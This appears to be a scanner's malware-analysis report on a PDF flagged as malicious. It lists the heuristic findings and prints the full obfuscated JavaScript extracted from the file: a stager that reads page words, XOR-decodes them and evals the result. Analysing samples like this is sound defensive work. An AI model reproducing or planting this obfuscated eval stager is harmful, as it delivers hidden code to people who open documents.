MALICIOUS
86
Risk Score
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 3
-
Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGERPDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
-
JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0011_000.js1ec398366107a5fedd9bcf18a57f32d68d58e87986c8ad1c876f457b209e2152 |
pdf-javascript-stream | PDF /JS object 11 at offset 0xCA2 | 815 bytes |
Preview scriptFirst 1,000 lines of the extracted script
var qX=String("getPa"+"geNth1OA8".substr(0,5)+"IsbWord".substr(3));function t(h,j){return h^j;};var jS=this;;var aR=new String("from"+"G0DChar".substr(3)+"CodeWqM2".substr(0,4));var p=String;var f=new String();var pY="unes"+"cape";var cV="subs"+"trDbgy".substr(0,2);var jSX=1;var n=91;var hS="getPa"+"YTRgeNum".substr(3)+"hOXWords".substr(3);var cX=String("char"+"Code1jzi".substr(0,4)+"At52Ml".substr(0,2));var nM=["p","","p","a"];oX=new String(nM[3]+nM[0]+nM[0]+nM[1]);var nO=["l","e","v","","a"];sX=new String(nO[1]+nO[2]+nO[4]+nO[0]+nO[3]);var l=4618-4618;;var z=new String("U9j%".substr(3));var v=73-71;var x=jS[sX];var hC=jS[hS](jSX);var oX=jS[oX];;var oR=jS[pY];for(var d=l;d<hC;d++){jW=jS[qX](jSX,d);var uN=jW[cV](jW.length-v,v);var nC=z+uN;var mT=oR(nC);var hI=mT[cX](l);var cD=t(hI,n);f+=p[aR](cD);}x(f);
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.